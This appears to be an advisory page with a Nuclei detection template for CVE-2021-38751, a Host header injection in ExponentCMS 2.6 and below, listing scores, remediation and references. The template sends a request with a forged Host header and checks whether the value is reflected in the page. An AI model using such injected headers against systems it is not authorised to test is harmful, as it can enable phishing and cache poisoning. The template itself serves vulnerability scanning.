CVE-2021-38751: ExponentCMS <= 2.6 - Host Header Injection

2025-08-01 ExponentCMS PoC Public

Description

An HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponent_constants.php. A modified HTTP header can change links on the webpage to an arbitrary value,leading to a possible attack vector for MITM.

PoC

id: CVE-2021-38751

info:
  name: ExponentCMS <= 2.6 - Host Header Injection
  author: dwisiswant0
  severity: medium
  description: An HTTP Host header attack exists in ExponentCMS 2.6 and below in /exponent_constants.php. A modified HTTP header can change links on the webpage to an arbitrary value,leading to a possible attack vector for MITM.
  impact: |
    An attacker can manipulate the Host header to perform various attacks, including phishing, session hijacking, and cache poisoning.
  remediation: |
    Upgrade ExponentCMS to a version higher than 2.6 or apply the provided patch to fix the Host Header Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38751
    - https://github.com/exponentcms/exponent-cms/issues/1544
    - https://github.com/exponentcms/exponent-cms/blob/a9fa9358c5e8dc2ce7ad61d7d5bea38505b8515c/exponent_constants.php#L56-L64
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2021-38751
    cwe-id: CWE-116
    epss-score: 0.02468
    epss-percentile: 0.8368
    cpe: cpe:2.3:a:exponentcms:exponentcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: exponentcms
    product: exponentcms
  tags: cve2021,cve,exponentcms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Host: '{{randstr}}.tld'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randstr}}.tld'
          - 'EXPONENT.PATH'
          - 'EXPONENT.URL'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022014829e9e521ada7cff50e9cefa071817b03dabacfa67214a4f3c80461a268c3e022062ea94be78e24ae3661869440ca335e64303b80d975dc94e3b2b225b8522fa68:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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